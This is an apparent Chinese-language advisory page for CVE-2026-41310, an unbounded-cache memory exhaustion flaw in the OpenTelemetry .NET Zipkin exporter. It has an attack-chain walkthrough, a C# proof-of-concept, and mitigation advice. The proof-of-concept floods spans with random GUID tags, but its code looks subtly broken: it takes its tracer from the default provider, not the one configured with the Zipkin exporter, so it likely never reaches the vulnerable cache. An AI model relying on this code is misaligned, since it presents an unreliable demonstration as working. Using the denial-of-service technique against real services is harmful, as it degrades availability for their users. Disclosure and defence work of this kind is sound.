IPBUF安全漏洞报告
English
CVE-2026-41310 CVSS 5.3 中危

CVE-2026-41310 OpenTelemetry内存泄漏漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-41310
漏洞类型
资源耗尽
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenTelemetry.Exporter.Zipkin

相关标签

拒绝服务资源耗尽内存泄漏OpenTelemetry.NETZipkin

漏洞概述

OpenTelemetry .NET Zipkin 导出器在 1.15.2 及之前版本中存在安全漏洞。该漏洞源于远程端点缓存机制允许无限制的键增长。在高基数的攻击场景下,如果应用程序持续处理包含唯一远程端点值的 Span,攻击者可利用此缺陷导致进程内存随时间显著增加,最终引发内存耗尽,从而降低系统可用性。

技术细节

该漏洞的根源在于 OpenTelemetry.Exporter.Zipkin 组件的远程端点缓存实现未设置大小上限。在 OpenTelemetry 的 .NET 实现中,Zipkin 导出器负责将追踪数据发送至 Zipkin 后端,为了优化性能,它会缓存远程服务端点的信息。然而,受影响的版本使用了无界缓存,这意味着每遇到一个新的远程端点组合(通常源自 Span 的属性,如 Service Name 或 IP),系统就会在内存中分配新的存储空间且不释放旧数据。攻击者可以通过向受监控的应用程序发送大量包含随机或唯一属性值(如随机生成的 User-Agent、请求 ID 或自定义 Header)的 HTTP 请求来触发此漏洞。由于每个唯一的属性组合都会生成一个新的缓存键,系统内存会被迅速消耗,导致严重的 GC 压力甚至 OutOfMemoryException 崩溃,从而实现拒绝服务攻击。

攻击链分析

STEP 1
侦察
攻击者确认目标应用程序使用了 OpenTelemetry .NET SDK,并且配置了 Zipkin 导出器进行遥测数据传输。
STEP 2
漏洞利用
攻击者向目标应用程序发送大量 HTTP 请求,每个请求的 Header 或参数中包含随机生成的唯一字符串(如 UUID 或随机哈希)。
STEP 3
数据注入
目标应用程序接收请求并生成 Span,这些 Span 包含了攻击者构造的高基数属性。Zipkin Exporter 拦截这些 Span 并尝试更新其远程端点缓存。
STEP 4
资源耗尽
由于缓存是无界的,每个唯一的远程端点值都会在内存中创建新的条目。随着请求量的增加,进程内存占用持续上升,无法被垃圾回收器释放。
STEP 5
拒绝服务
最终服务器内存耗尽,导致应用程序崩溃或因严重的性能抖动而无法处理正常用户的请求。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
using OpenTelemetry; using OpenTelemetry.Trace; using System; using System.Threading.Tasks; namespace Poc { public class ZipkinMemoryLeakPoc { public static async Task Main(string[] args) { // Initialize tracer with Zipkin Exporter (Vulnerable version <= 1.15.2) using var tracerProvider = Sdk.CreateTracerProviderBuilder() .AddZipkinExporter(o => { o.Endpoint = new Uri("http://localhost:9411/api/v2/spans"); }) .Build(); var tracer = TracerProvider.Default.GetTracer("PocApp"); Console.WriteLine("Starting High Cardinality Attack..."); // Simulate an attack by sending requests with unique attributes for (int i = 0; i < 100000; i++) { using var span = tracer.StartActiveSpan("RequestSpan"); // Generate high-cardinality data to fill the cache string uniqueId = Guid.NewGuid().ToString(); span.SetTag("http.user_agent", uniqueId); span.SetTag("http.url", $"http://example.com/{uniqueId}"); // Simulate processing delay await Task.Delay(5); if (i % 1000 == 0) { Console.WriteLine($"Sent {i} requests. Monitor memory growth."); } } } } }

影响范围

OpenTelemetry.Exporter.Zipkin <= 1.15.2

防御指南

临时缓解措施
在无法立即升级组件的情况下,建议在应用层面对 Span 属性进行严格过滤,移除或随机化高基数的用户输入(如随机 ID、长字符串),防止其作为远程端点的标识符进入缓存。同时,可以考虑设置进程级别的内存限制,并在内存达到阈值时自动重启服务以恢复可用性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表